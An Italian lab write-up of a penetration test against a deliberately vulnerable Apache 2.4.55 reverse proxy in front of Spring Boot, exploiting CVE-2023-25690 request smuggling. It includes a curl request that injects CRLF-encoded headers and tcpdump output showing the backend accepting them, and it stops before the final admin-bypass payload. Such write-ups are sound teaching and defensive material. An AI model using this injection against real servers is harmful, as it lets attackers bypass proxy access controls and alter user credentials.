
HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection
| Componente | Ruolo | Versione |
|---|---|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (vulnerabile) |
| Spring Boot (Tomcat embedded) | Backend API | 4.x (Java 21) |
| SQLite | Database | — |
Utente ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: CRLF non sanitizzati
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> bloccato
POST /public/register: permette la registrazione degli utenti nel database
POST /public/login: permette il login attraverso la verifica delle credenziali inserite e rilascia un token di sessione
GET /public/dashboard: area riservata degli utenti
GET /api/status: accetta parametro “name”, è un endpoint di esempio per la verifica dello stato dei servizi
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: è una rotta teoricamente inaccessibile al pubblico che permette la modifica dei dati degli utenti agli amministratori
Durante l'attività di penetration testing è stata identificata una vulnerabilità critica nell'infrastruttura di reverse proxy che espone il backend Spring Boot. Il proxy Apache HTTP Server versione 2.4.55 è affetto dalla vulnerabilità CVE-2023-25690 (HTTP Request Smuggling), che consente a un attaccante di bypassare i filtri di sicurezza imposti sul proxy e raggiungere direttamente endpoint amministrativi interni non protetti.
L'attacco sfrutta l'assenza di sanitizzazione dei caratteri di controllo (CRLF) nelle RewriteRule di Apache, permettendo l'iniezione di una seconda richiesta HTTP tra i parametri di una richiesta lecita verso il backend. Il proof of concept ha dimostrato la modifica non autorizzata delle credenziali utente nel database tramite l'endpoint /admin/edit/{id}/{newName}/{newPass}, teoricamente protetto dalle ACL del proxy.
Raccomandazioni: Aggiornare immediatamente Apache HTTP Server alla versione ≥ 2.4.56, rafforzare i filtri di sicurezza sul proxy e implementare un layer di sicurezza lato backend (Spring Security) per tutti gli endpoint sensibili.
Identificazione della versione di Apache tramite analisi degli header HTTP della risposta.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Risultato: Server header rivela Apache/2.4.55. Consultazione del CVE database → corrispondenza con CVE-2023-25690.
Secondo la CVE, in questa versione di Apache, se è presente una RewriteRule che copia nell'url di destinazione del back-end, caratteri generici provenienti dalla richiesta al proxy, il testo trascritto non viene sanitizzato, quindi passano anche caratteri di controllo (come i ritorni a capo)
Ad esempio: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // la P sta per modalità proxy
Quindi ora il nostro obiettivo è scoprire un eventuale endpoint che effettui questa trascrizione a livello di proxy
Dall'analisi delle risposte e dal comportamento dell'applicazione si osserva che la sessione è gestita attraverso JSESSIONID, che conferma l'uso di un Servlet Container Java (come Apache Tomcat, Jetty o WildFly), inoltre, la richiesta ad endpoint inesistenti restituisce un "Whitelabel Error Page" che indica che nel backend c'è Spring Boot.
Tramite uno script bash per l'automazione del fuzzing a dizionario sono stati mappati gli endpoint esposti in rete (presumibilmente tutti)
Risultato:
| Endpoint | Codice HTTP | Metodo | Parametri |
|---|---|---|---|
| admin | 403 | GET | (no params) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (no params) |
| public/logout | 200 | GET | (no params) |
| api/status | 200 | GET | (no params) |
| service/* | 200 | GET | (no params) |
Dato che
restituiscono entrambe la stessa risposta si capisce che puntano allo stesso endpoint del back-end, inoltre dato che richieste come /service/x/y/z (che molto probabilmente non esistono) non restituiscono 404, si può dedurre che l'endpoint originale accetta un parametro e non una path variable, quindi in conclusione si può dedurre che le richieste a /service/<servizio> vengono tradotte con una RewriteRule per il backend Spring Boot (proprio quello che cercavamo). Ora c'è da capire se questa RewriteRule è dummy, cioè usa una regex tipo .* o se è ben strutturata.
Provo a inserire caratteri di controllo nella richiesta per splittare il contenuto legittimo da quello nascosto:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... Il servizio 'x' è operativo e stabile.
Ho inserito un parametro custom per verificare che i CRLF vengano interpretati correttamente
trash_header ha il compito di incapsulare gli header che apache inserirà nella richiesta al backend (in questo modo verranno interpretati come semplice testo di X-Header e non avranno valore ai fini della richiesta http)
Con tcpdump nel container del back-end ho avuto modo di intercettare la richiesta http proveniente da apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
Il back-end vede questa richiesta:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"I caratteri di controllo hanno controllato"
La risposta mi indica che la parte con i caratteri di controllo è passata indisturbata come struttura della richiesta http stessa e non semplicemente come parametro (poichè il nome intercettato dal backend è solo 'x'). Quindi abbiamo imposto il formato della richiesta http verso il backend e il proxy l'ha recepita, questo apre la strada al vero payload per lo smuggling.